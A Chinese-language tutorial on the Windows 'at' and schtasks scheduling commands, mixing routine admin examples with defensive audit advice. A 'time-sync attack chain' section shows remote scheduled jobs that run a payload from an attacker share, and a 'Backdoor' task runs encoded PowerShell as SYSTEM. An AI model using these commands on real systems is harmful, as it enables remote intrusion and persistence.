萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 網路應用技術

at 指令解析:Windows 排程任務實戰與時間同步攻擊協同

at 是 Windows 早期內建的命令列排程工具,雖在 Win8/Server 2012 後被 schtasks 取代,但在舊系統維護、滲透測試持久化、時間同步攻擊鏈中仍具關鍵價值。本文詳細說明語法、搭配 net time 的實戰組合與現代替代方案。

基本語法

at [\\電腦名] 時間 [/interactive] [/every:日期[,...] | /next:日期[,...]] 命令

# 參數說明
\\電腦名      遠端主機 (需 RPC/SMB 連線權限)
時間          HH:MM 24小時制
/interactive  允許工作與當前登入桌面互動 (需 LocalSystem 權限)
/every:       週期性排程 (M,T,W,Th,F,S,Su 或 1-31)
/next:        下一次發生的指定日期
命令          要執行的指令/腳本/執行檔 (含完整路徑)

常用範例

需求指令說明
今日 18:30 執行備份腳本at 18:30 cmd /c D:\Scripts\backup.bat本機一次性
每天 02:00 清理暫存檔at 02:00 /every:M,T,W,Th,F,S,Su cmd /c del /q /s %TEMP%\*每日循環
每月 1 號 03:00 產生報表at 03:00 /every:1 powershell -File D:\Scripts\monthly.ps1月度循環
遠端主機 5 分鐘後重啟at \\SERVER01 14:30 shutdown /r /t 300 /f需遠端 IPC$ 連線權限
啟用 Telnet 服務 (配合 net start)at 06:55 net start telnet服務控制排程

查看/刪除排程任務

at                    # 列出本機所有任務 (顯示任務 ID)
at \\SERVER01         # 列出遠端主機任務
at 1 /delete          # 刪除 ID=1 的任務
at /delete /yes       # 刪除所有任務 (不提示確認)

核心協同:net time + at = 時間同步攻擊鏈

  1. 取得目標時間基準:net time \\TARGET → 回傳 Current time at \\TARGET is 2024/03/15 14:22:00。
  2. 計算投放時間窗:目標時間 + 2-5 分鐘 (預留傳播延遲)。
  3. 投放排程任務:at \\TARGET 14:27 net start telnet 或 at \\TARGET 14:27 cmd /c \\ATTACKER\share\payload.exe。
  4. 驗證執行:預期時間到達後,嘗試連線驗證服務啟動/載荷執行。

前提條件:
1. 攻擊者與目標同網域/信任關係,或已建立 IPC$ 具名連線 (net use \\TARGET\IPC$ pass /u:user)。
2. 目標啟用「排程器」服務 (Schedule/Task Scheduler)。
3. 攻擊者具備目標系統管理員權限 (LocalSystem 執行上下文)。

at vs schtasks:新舊對照

特性atschtasks (現代標準)
支援 OSWinNT~Win7/Server2008 (Win8+ 需啟用相容性)WinXP/Server2003 至今全支援
觸發條件時間、週期 (每日/每月)時間、週期、事件、閒置、登入、啟動、註冊、WMI 事件
動作類型單一命令列多動作、多觸發、條件判斷、設定優先權
安全性上下文固定 LocalSystem (需 /interactive 互動)可指定任意使用者、最高權限、網路認證
遠端管理at \\HOST (RPC/SMB)schtasks /S HOST /U user /P pass (WinRM/RPC)
輸出格式純文字TABLE, LIST, CSV, XML

schtasks 實戰速查

# 建立每日 02:00 以 SYSTEM 權限執行腳本
schtasks /create /tn "DailyCleanup" /tr "cmd /c D:\Scripts\cleanup.bat" /sc daily /st 02:00 /ru SYSTEM /rl highest

# 遠端建立任務 (需管理員認證)
schtasks /create /S TARGET /U domain\admin /P pass /tn "Backdoor" /tr "powershell -enc BASE64_PAYLOAD" /sc once /st 14:30 /ru SYSTEM

# 查詢/刪除/啟用/停用
schtasks /query /fo CSV /v
schtasks /delete /tn "Backdoor" /f
schtasks /change /tn "DailyCleanup" /disable
schtasks /run /tn "DailyCleanup"

資安防禦建議

  • 稽核排程任務:schtasks /query /fo CSV | findstr /i "system\|admin\|backdoor\|payload\|mimikatz\|nc\|powershell -enc" 定期掃描。
  • GPO 限制:電腦設定 → Windows 設定 → 安全性設定 → 系統服務 → Task Scheduler → 停用 (非伺服器角色) 或限制非管理員建立任務。
  • Sysmon Event ID 1:監控 schtasks.exe, at.exe 進程建立,提取命令列參數關聯分析。
  • 時間同步強化:強制網域控制站為唯一 NTP 來源,封鎖非授權 NTP 流量,防範時間偽造導致排程提前/延後觸發。

總結

at 指令雖老,但其「時間同步 → 精準投放」的攻擊思維在現代 ATT&CK 技術 T1053.002 (Scheduled Task) 中延續。防禦者應廢用 at、全面遷移 schtasks/Group Policy Preferences,並建立排程任務建立/修改/刪除的全生命週期稽核管線。

copyright © 萬盛學電腦網 all rights reserved